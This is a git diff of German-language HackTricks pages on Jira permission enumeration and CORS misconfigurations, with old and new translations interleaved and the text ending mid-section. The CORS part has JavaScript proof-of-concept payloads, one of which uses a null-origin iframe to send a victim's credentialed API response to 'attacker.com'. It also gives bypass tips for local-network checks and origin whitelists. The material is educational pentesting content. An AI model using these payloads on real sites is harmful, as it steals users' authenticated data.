* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -22,7 +22,7 @@ Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hack
|
|||
|
||||
### Berechtigungen überprüfen
|
||||
|
||||
In Jira können **Berechtigungen** von jedem Benutzer, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions` überprüft werden. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswertes Anliegen entsteht, wenn **nicht authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitslücke** hinweist, die potenziell für eine **Prämie** berechtigt sein könnte. Ebenso weisen **unerwartete Berechtigungen für authentifizierte Benutzer** auf eine **Schwachstelle** hin.
|
||||
In Jira können **Berechtigungen** von jedem Benutzer, authentifiziert oder nicht, über die Endpunkte `/rest/api/2/mypermissions` oder `/rest/api/3/mypermissions` überprüft werden. Diese Endpunkte zeigen die aktuellen Berechtigungen des Benutzers an. Ein bemerkenswertes Anliegen entsteht, wenn **nicht authentifizierte Benutzer Berechtigungen haben**, was auf eine **Sicherheitslücke** hinweist, die potenziell für eine **Prämie** berechtigt sein könnte. Ebenso weisen **unerwartete Berechtigungen für authentifizierte Benutzer** auch auf eine **Schwachstelle** hin.
|
||||
|
||||
Am **1. Februar 2019** wurde ein wichtiges **Update** durchgeführt, das erfordert, dass der Endpunkt 'mypermissions' einen **'permission'-Parameter** enthält. Diese Anforderung zielt darauf ab, die Sicherheit zu **verbessern**, indem die abgefragten Berechtigungen spezifiziert werden: [Hier überprüfen](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -78,7 +78,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h
|
|||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
|
|
@ -1,49 +1,49 @@
|
|||
# CORS - Konfigurationsfehler & Umgehung
|
||||
# CORS - Fehlkonfigurationen & Umgehung
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
|
||||
|
||||
</details>
|
||||
|
||||
## Was ist CORS?
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) ist ein Standard, der es Servern ermöglicht, festzulegen, wer auf ihre Ressourcen zugreifen kann und welche HTTP-Anfragemethoden von externen Quellen erlaubt sind.
|
||||
Cross-Origin Resource Sharing (CORS) Standard **ermöglicht es Servern festzulegen, wer auf ihre Ressourcen zugreifen kann** und **welche HTTP-Anforderungsmethoden von externen Quellen erlaubt sind**.
|
||||
|
||||
Eine **Same-Origin**-Richtlinie besagt, dass ein **Server, der eine Ressource anfordert**, und der Server, der die **Ressource hostet**, das gleiche Protokoll (z. B. `http://`), den gleichen Domainnamen (z. B. `internal-web.com`) und den gleichen **Port** (z. B. 80) teilen müssen. Unter dieser Richtlinie haben nur Webseiten aus der gleichen Domäne und dem gleichen Port Zugriff auf die Ressourcen.
|
||||
Eine **gleiche Herkunft**-Richtlinie schreibt vor, dass ein **Server, der eine Ressource anfordert** und der Server, der die **Ressource hostet**, das gleiche Protokoll teilen müssen (z.B. `http://`), den gleichen Domainnamen (z.B. `internal-web.com`) und **Port** (z.B. 80). Unter dieser Richtlinie haben nur Webseiten aus der gleichen Domäne und dem gleichen Port Zugriff auf die Ressourcen.
|
||||
|
||||
Die Anwendung der Same-Origin-Richtlinie im Kontext von `http://normal-website.com/example/example.html` wird wie folgt veranschaulicht:
|
||||
Die Anwendung der gleichen Herkunft-Richtlinie im Kontext von `http://normal-website.com/example/example.html` wird wie folgt veranschaulicht:
|
||||
|
||||
| Aufgerufene URL | Zugriff erlaubt? |
|
||||
| ----------------------------------------- | ---------------------------------- |
|
||||
| Aufgerufene URL | Zugriff erlaubt? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Ja: Identisches Schema, Domäne und Port |
|
||||
| `http://normal-website.com/example2/` | Ja: Identisches Schema, Domäne und Port |
|
||||
| `https://normal-website.com/example/` | Nein: Unterschiedliches Schema und Port |
|
||||
| `http://en.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
|
||||
| `http://www.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
|
||||
| `http://normal-website.com:8080/example/` | Nein: Unterschiedlicher Port* |
|
||||
| `http://en.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
|
||||
| `http://www.normal-website.com/example/` | Nein: Unterschiedliche Domäne |
|
||||
| `http://normal-website.com:8080/example/` | Nein: Unterschiedlicher Port\* |
|
||||
|
||||
*Internet Explorer ignoriert die Portnummer bei der Durchsetzung der Same-Origin-Richtlinie und ermöglicht somit diesen Zugriff.
|
||||
\*Internet Explorer ignoriert die Portnummer bei der Durchsetzung der gleichen Herkunft-Richtlinie und erlaubt somit diesen Zugriff.
|
||||
|
||||
### `Access-Control-Allow-Origin`-Header
|
||||
|
||||
Dieser Header kann **mehrere Ursprünge**, einen **`null`**-Wert oder einen Platzhalter **`*`** zulassen. Kein Browser unterstützt jedoch mehrere Ursprünge, und die Verwendung des Platzhalters `*` unterliegt **Einschränkungen**. (Der Platzhalter muss alleine verwendet werden, und seine Verwendung zusammen mit `Access-Control-Allow-Credentials: true` ist nicht zulässig.)
|
||||
Dieser Header kann **mehrere Ursprünge**, einen **`null`**-Wert oder ein Platzhalterzeichen **`*`** zulassen. Kein Browser unterstützt jedoch **mehrere Ursprünge**, und die Verwendung des Platzhalters `*` unterliegt **Einschränkungen**. (Der Platzhalter muss alleine verwendet werden, und seine Verwendung zusammen mit `Access-Control-Allow-Credentials: true` ist nicht erlaubt.)
|
||||
|
||||
Dieser Header wird **von einem Server** als Antwort auf eine von einer Website initiierte Anfrage nach einer Ressource aus einer anderen Domäne ausgegeben, wobei der Browser automatisch einen `Origin`-Header hinzufügt.
|
||||
Dieser Header wird **von einem Server** als Antwort auf eine von einer Website initiierte Anforderung einer Ressource aus einer anderen Domäne ausgegeben, wobei der Browser automatisch einen `Origin`-Header hinzufügt.
|
||||
|
||||
### `Access-Control-Allow-Credentials`-Header
|
||||
|
||||
Standardmäßig werden Cross-Origin-Anfragen ohne Anmeldeinformationen wie Cookies oder den Autorisierungsheader gesendet. Ein serverübergreifender Server kann jedoch das Lesen der Antwort zulassen, wenn Anmeldeinformationen gesendet werden, indem der `Access-Control-Allow-Credentials`-Header auf **`true`** gesetzt wird.
|
||||
Standardmäßig werden Anfragen aus anderen Ursprüngen ohne Anmeldeinformationen wie Cookies oder dem Autorisierungsheader gesendet. Ein Server aus einer anderen Domäne kann jedoch das Lesen der Antwort erlauben, wenn Anmeldeinformationen gesendet werden, indem der `Access-Control-Allow-Credentials`-Header auf **`true`** gesetzt wird.
|
||||
|
||||
Wenn dieser Wert auf `true` gesetzt ist, übermittelt der Browser Anmeldeinformationen (Cookies, Autorisierungsheader oder TLS-Clientzertifikate).
|
||||
Wenn auf `true` gesetzt, überträgt der Browser Anmeldeinformationen (Cookies, Autorisierungsheader oder TLS-Clientzertifikate).
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -70,17 +70,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### CSRF Pre-Flight-Anfrage
|
||||
### CSRF Pre-Fluganfrage
|
||||
|
||||
### Verständnis von Pre-Flight-Anfragen in der Cross-Domain-Kommunikation
|
||||
### Verständnis von Pre-Fluganfragen in der Cross-Domain-Kommunikation
|
||||
|
||||
Bei der Initiierung einer Cross-Domain-Anfrage unter bestimmten Bedingungen, wie der Verwendung einer **nicht standardmäßigen HTTP-Methode** (alles außer HEAD, GET, POST), der Einführung neuer **Header** oder der Verwendung eines speziellen **Content-Type-Header-Werts**, kann eine Pre-Flight-Anfrage erforderlich sein. Diese vorläufige Anfrage, die die Methode **`OPTIONS`** verwendet, informiert den Server über die Absichten der bevorstehenden Cross-Origin-Anfrage, einschließlich der verwendeten HTTP-Methoden und Header.
|
||||
Bei der Initiierung einer Cross-Domain-Anfrage unter spezifischen Bedingungen, wie der Verwendung einer **nicht standardmäßigen HTTP-Methode** (alles außer HEAD, GET, POST), der Einführung neuer **Header** oder der Verwendung eines speziellen **Content-Type-Header-Werts**, kann eine Pre-Fluganfrage erforderlich sein. Diese vorläufige Anfrage, die die Methode **`OPTIONS`** nutzt, dient dazu, den Server über die Absichten der bevorstehenden Cross-Origin-Anfrage zu informieren, einschließlich der HTTP-Methoden und Header, die sie verwenden möchte.
|
||||
|
||||
Das Protokoll **Cross-Origin Resource Sharing (CORS)** schreibt diese Pre-Flight-Überprüfung vor, um die Durchführbarkeit der angeforderten Cross-Origin-Operation zu bestimmen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit des Ursprungs überprüft werden. Für ein detailliertes Verständnis, welche Bedingungen die Notwendigkeit einer Pre-Flight-Anfrage umgehen, siehe den umfassenden Leitfaden von [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
Das **Cross-Origin Resource Sharing (CORS)**-Protokoll schreibt diese Pre-Flugüberprüfung vor, um die Machbarkeit der angeforderten Cross-Origin-Operation zu bestimmen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit des Ursprungs überprüft werden. Für ein detailliertes Verständnis darüber, welche Bedingungen die Notwendigkeit einer Pre-Fluganfrage umgehen, siehe den umfassenden Leitfaden von der [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Es ist wichtig zu beachten, dass das **Fehlen einer Pre-Flight-Anfrage nicht die Notwendigkeit für die Antwort, Autorisierungsheader zu tragen, aufhebt**. Ohne diese Header ist der Browser nicht in der Lage, die Antwort auf die Cross-Origin-Anfrage zu verarbeiten.
|
||||
Es ist wichtig zu beachten, dass das **Fehlen einer Pre-Fluganfrage nicht die Notwendigkeit aufhebt, dass die Antwort Autorisierungsheader enthält**. Ohne diese Header ist der Browser nicht in der Lage, die Antwort der Cross-Origin-Anfrage zu verarbeiten.
|
||||
|
||||
Betrachten Sie die folgende Darstellung einer Pre-Flight-Anfrage, die die Verwendung der Methode `PUT` zusammen mit einem benutzerdefinierten Header namens `Special-Request-Header` beabsichtigt:
|
||||
Betrachten Sie die folgende Darstellung einer Pre-Fluganfrage, die darauf abzielt, die `PUT`-Methode zusammen mit einem benutzerdefinierten Header namens `Special-Request-Header` zu verwenden:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -89,15 +89,7 @@ Origin: https://example.com
|
|||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
Als Antwort könnte der Server Header zurückgeben, die die akzeptierten Methoden, den erlaubten Ursprung und andere Details zur CORS-Richtlinie anzeigen, wie unten gezeigt:
|
||||
|
||||
```http
|
||||
Access-Control-Allow-Methods: GET, POST, PUT
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Headers: Content-Type
|
||||
```
|
||||
|
||||
Diese Header geben an, dass der Server GET, POST und PUT als akzeptierte Methoden erlaubt. Der erlaubte Ursprung ist auf "https://example.com" beschränkt und der erlaubte Header ist "Content-Type".
|
||||
In der Antwort könnte der Server Header zurückgeben, die die akzeptierten Methoden, den erlaubten Ursprung und andere CORS-Richtliniendetails anzeigen, wie unten dargestellt:
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -107,23 +99,22 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
- **`Access-Control-Allow-Headers`**: Dieser Header gibt an, welche Header während der eigentlichen Anfrage verwendet werden können. Der Server setzt ihn, um die erlaubten Header in Anfragen vom Client anzuzeigen.
|
||||
- **`Access-Control-Expose-Headers`**: Über diesen Header informiert der Server den Client darüber, welche Header neben den einfachen Antwort-Headern als Teil der Antwort freigegeben werden können.
|
||||
- **`Access-Control-Max-Age`**: Dieser Header gibt an, wie lange die Ergebnisse einer Vorausfluganfrage zwischengespeichert werden können. Der Server legt die maximale Zeit in Sekunden fest, die die Informationen, die von einer Vorausfluganfrage zurückgegeben werden, wiederverwendet werden dürfen.
|
||||
- **`Access-Control-Request-Headers`**: Dieser Header wird in Vorausfluganfragen verwendet und vom Client gesetzt, um den Server darüber zu informieren, welche HTTP-Header der Client in der eigentlichen Anfrage verwenden möchte.
|
||||
- **`Access-Control-Request-Method`**: Dieser Header wird ebenfalls in Vorausfluganfragen verwendet und vom Client gesetzt, um anzuzeigen, welche HTTP-Methode in der eigentlichen Anfrage verwendet wird.
|
||||
- **`Origin`**: Dieser Header wird automatisch vom Browser gesetzt und gibt den Ursprung der Cross-Origin-Anfrage an. Der Server verwendet ihn, um zu beurteilen, ob die eingehende Anfrage basierend auf der CORS-Richtlinie erlaubt oder verweigert werden sollte.
|
||||
* **`Access-Control-Allow-Headers`**: Dieser Header gibt an, welche Header während der tatsächlichen Anfrage verwendet werden können. Er wird vom Server gesetzt, um die erlaubten Header in Anfragen vom Client anzuzeigen.
|
||||
* **`Access-Control-Expose-Headers`**: Durch diesen Header informiert der Server den Client darüber, welche Header neben den einfachen Antwort-Headern als Teil der Antwort freigegeben werden können.
|
||||
* **`Access-Control-Max-Age`**: Dieser Header gibt an, wie lange die Ergebnisse einer Vorfalldatenanfrage zwischengespeichert werden können. Der Server legt die maximale Zeit in Sekunden fest, die die Informationen, die von einer Vorfalldatenanfrage zurückgegeben werden, wiederverwendet werden können.
|
||||
* **`Access-Control-Request-Headers`**: In Vorfalldatenanfragen verwendet, wird dieser Header vom Client gesetzt, um den Server darüber zu informieren, welche HTTP-Header der Client in der tatsächlichen Anfrage verwenden möchte.
|
||||
* **`Access-Control-Request-Method`**: Dieser Header, ebenfalls in Vorfalldatenanfragen verwendet, wird vom Client gesetzt, um anzuzeigen, welcher HTTP-Methoden in der tatsächlichen Anfrage verwendet wird.
|
||||
* **`Origin`**: Dieser Header wird automatisch vom Browser gesetzt und gibt den Ursprung der Cross-Origin-Anfrage an. Er wird vom Server verwendet, um zu beurteilen, ob die eingehende Anfrage basierend auf der CORS-Richtlinie erlaubt oder verweigert werden soll.
|
||||
|
||||
Beachten Sie, dass normalerweise (abhängig von Content-Type und gesetzten Headern) bei einer **GET/POST-Anfrage keine Vorausfluganfrage gesendet wird** (die Anfrage wird **direkt** gesendet), aber wenn Sie auf die **Header/Body der Antwort** zugreifen möchten, muss sie einen _Access-Control-Allow-Origin_-Header enthalten, der dies erlaubt.\
|
||||
Beachten Sie, dass normalerweise (abhängig vom Inhaltstyp und den gesetzten Headern) bei einer **GET/POST-Anfrage keine Vorfalldatenanfrage gesendet wird** (die Anfrage wird **direkt** gesendet), aber wenn Sie auf die **Header/Body der Antwort zugreifen möchten**, muss sie einen _Access-Control-Allow-Origin_ Header enthalten, der dies erlaubt.\
|
||||
**Daher schützt CORS nicht vor CSRF (kann aber hilfreich sein).**
|
||||
|
||||
### **Vorausfluganfrage für lokale Netzwerkanfragen**
|
||||
### **Vorfalldatenanfrage für lokale Netzwerkanfragen**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: Dieser Header ist in der Anfrage des Clients enthalten und kennzeichnet, dass die Anfrage auf eine Ressource im lokalen Netzwerk abzielt. Er dient als Kennzeichnung, um den Server darüber zu informieren, dass die Anfrage aus dem lokalen Netzwerk stammt.
|
||||
1. **`Access-Control-Request-Local-Network`**: Dieser Header ist in der Anfrage des Clients enthalten, um anzuzeigen, dass die Anfrage auf eine lokale Netzwerkressource abzielt. Er dient als Kennzeichnung, um den Server darüber zu informieren, dass die Anfrage aus dem lokalen Netzwerk stammt.
|
||||
2. **`Access-Control-Allow-Local-Network`**: Als Antwort verwenden Server diesen Header, um mitzuteilen, dass die angeforderte Ressource für die Freigabe mit Entitäten außerhalb des lokalen Netzwerks zugelassen ist. Er fungiert als grünes Licht für den Austausch von Ressourcen über verschiedene Netzwerkgrenzen hinweg, um kontrollierten Zugriff zu gewährleisten und gleichzeitig Sicherheitsprotokolle einzuhalten.
|
||||
|
||||
2. **`Access-Control-Allow-Local-Network`**: Als Antwort verwenden Server diesen Header, um mitzuteilen, dass die angeforderte Ressource für Entitäten außerhalb des lokalen Netzwerks freigegeben werden darf. Er dient als grünes Licht für den Austausch von Ressourcen über verschiedene Netzwerkgrenzen hinweg und gewährleistet einen kontrollierten Zugriff bei gleichzeitiger Einhaltung von Sicherheitsprotokollen.
|
||||
|
||||
Eine **gültige Antwort, die die Anfrage des lokalen Netzwerks erlaubt**, muss auch den Header `Access-Controls-Allow-Local_network: true` in der Antwort enthalten:
|
||||
Eine **gültige Antwort, die die lokale Netzwerkanfrage erlaubt**, muss auch in der Antwort den Header `Access-Controls-Allow-Local_network: true` enthalten:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -135,24 +126,22 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass die IP-Adresse **0.0.0.0** in Linux verwendet werden kann, um diese Anforderungen zur Umgehung des Zugriffs auf localhost zu umgehen, da diese IP-Adresse nicht als "lokal" betrachtet wird.
|
||||
|
||||
Es ist auch möglich, die Anforderungen des lokalen Netzwerks zu umgehen, wenn Sie die öffentliche IP-Adresse eines lokalen Endpunkts verwenden (wie die öffentliche IP-Adresse des Routers). Denn in mehreren Fällen wird der Zugriff gewährt, selbst wenn auf die öffentliche IP-Adresse zugegriffen wird, wenn es sich um das lokale Netzwerk handelt.
|
||||
|
||||
Beachten Sie, dass die Linux-IP **0.0.0.0** verwendet werden kann, um diese Anforderungen zu umgehen und auf localhost zuzugreifen, da diese IP-Adresse nicht als "lokal" betrachtet wird.
|
||||
|
||||
Es ist auch möglich, die Anforderungen des lokalen Netzwerks zu umgehen, wenn Sie die **öffentliche IP-Adresse eines lokalen Endpunkts** verwenden (wie die öffentliche IP des Routers). Denn in mehreren Fällen wird selbst wenn auf die **öffentliche IP** zugegriffen wird, wenn es **aus dem lokalen Netzwerk** stammt, der Zugriff gewährt.
|
||||
{% endhint %}
|
||||
|
||||
## Ausnutzbare Fehlkonfigurationen
|
||||
|
||||
Es wurde beobachtet, dass die Einstellung von `Access-Control-Allow-Credentials` auf **`true`** eine Voraussetzung für die meisten **echten Angriffe** ist. Diese Einstellung erlaubt es dem Browser, Anmeldeinformationen zu senden und die Antwort zu lesen, was die Effektivität des Angriffs erhöht. Ohne dies verringert sich der Vorteil, eine Anfrage über den Browser zu stellen, im Vergleich zur manuellen Durchführung, da das Ausnutzen von Benutzercookies nicht praktikabel ist.
|
||||
Es wurde beobachtet, dass die Einstellung von `Access-Control-Allow-Credentials` auf **`true`** eine Voraussetzung für die meisten **echten Angriffe** ist. Diese Einstellung erlaubt es dem Browser, Anmeldeinformationen zu senden und die Antwort zu lesen, was die Effektivität des Angriffs erhöht. Ohne dies nimmt der Nutzen ab, wenn man den Browser dazu bringt, eine Anfrage zu senden, anstatt es selbst zu tun, da das Ausnutzen von Benutzercookies unpraktikabel wird.
|
||||
|
||||
### Ausnahme: Ausnutzung des Netzwerkstandorts als Authentifizierung
|
||||
|
||||
Eine Ausnahme besteht, wenn der Netzwerkstandort des Opfers als Form der Authentifizierung fungiert. Dadurch kann der Browser des Opfers als Proxy verwendet werden, um die IP-basierte Authentifizierung zur Zugriff auf Intranet-Anwendungen zu umgehen. Diese Methode weist Ähnlichkeiten mit DNS-Rebinding auf, ist jedoch einfacher auszunutzen.
|
||||
Eine Ausnahme besteht, wenn der Netzwerkstandort des Opfers als Form der Authentifizierung dient. Dies ermöglicht es dem Browser des Opfers, als Proxy verwendet zu werden, um die IP-basierte Authentifizierung zu umgehen und auf Intranet-Anwendungen zuzugreifen. Diese Methode weist Ähnlichkeiten mit DNS-Rebinding auf, ist jedoch einfacher auszunutzen.
|
||||
|
||||
### Reflektion von `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
Das Szenario in der realen Welt, in dem der Wert des `Origin`-Headers in `Access-Control-Allow-Origin` reflektiert wird, ist theoretisch unwahrscheinlich, aufgrund von Einschränkungen bei der Kombination dieser Header. Entwickler, die CORS für mehrere URLs aktivieren möchten, können jedoch den `Access-Control-Allow-Origin`-Header dynamisch generieren, indem sie den Wert des `Origin`-Headers kopieren. Dieser Ansatz kann Sicherheitslücken einführen, insbesondere wenn ein Angreifer eine Domain verwendet, die so gestaltet ist, dass sie legitim erscheint und so die Validierungslogik täuscht.
|
||||
Das Szenario in der realen Welt, in dem der Wert des `Origin`-Headers in `Access-Control-Allow-Origin` reflektiert wird, ist theoretisch unwahrscheinlich aufgrund von Einschränkungen bei der Kombination dieser Header. Entwickler, die CORS für mehrere URLs aktivieren möchten, können jedoch den `Access-Control-Allow-Origin`-Header dynamisch generieren, indem sie den Wert des `Origin`-Headers kopieren. Dieser Ansatz kann Sicherheitslücken einführen, insbesondere wenn ein Angreifer eine Domain verwendet, die so gestaltet ist, dass sie legitim erscheint, und damit die Validierungslogik täuscht.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -165,9 +154,9 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Ausnutzung des `null` Ursprungs
|
||||
### Ausnutzen des `null` Ursprungs
|
||||
|
||||
Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien angegeben wird, hat eine einzigartige Position. Einige Anwendungen whitelisten diesen Ursprung, um die lokale Entwicklung zu erleichtern, und ermöglichen so versehentlich jeder Website, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und dadurch die CORS-Beschränkungen zu umgehen.
|
||||
Der `null` Ursprung, der für Situationen wie Weiterleitungen oder lokale HTML-Dateien spezifiziert ist, nimmt eine einzigartige Position ein. Einige Anwendungen setzen diesen Ursprung auf die Whitelist, um die lokale Entwicklung zu erleichtern, wodurch sie unbeabsichtigt jeder Website ermöglichen, einen `null` Ursprung durch ein sandboxed iframe zu imitieren und somit die CORS-Beschränkungen zu umgehen.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -193,23 +182,23 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
### Bypass-Techniken für reguläre Ausdrücke
|
||||
### Reguläre Ausdruck-Bypass-Techniken
|
||||
|
||||
Wenn Sie auf eine Domain-Whitelist stoßen, ist es entscheidend, nach Umgehungsmöglichkeiten zu suchen, z. B. das Anhängen der Angreiferdomain an eine in der Whitelist enthaltene Domain oder die Ausnutzung von Schwachstellen bei der Übernahme von Subdomains. Darüber hinaus können bei der Domänenvalidierung verwendete reguläre Ausdrücke Nuancen in den Domänennamenskonventionen übersehen und weitere Umgehungsmöglichkeiten bieten.
|
||||
Beim Auffinden einer Domain-Whitelist ist es entscheidend, nach Bypass-Möglichkeiten zu testen, wie z.B. das Anhängen der Angreiferdomain an eine whitelisted Domain oder die Ausnutzung von Subdomain-Übernahme-Schwachstellen. Darüber hinaus können bei der Verwendung von regulären Ausdrücken zur Domänenvalidierung Nuancen in den Domänennamenskonventionen übersehen werden, was weitere Bypass-Möglichkeiten bietet.
|
||||
|
||||
### Fortgeschrittene Bypass-Techniken für reguläre Ausdrücke
|
||||
### Fortgeschrittene Reguläre Ausdruck-Bypasses
|
||||
|
||||
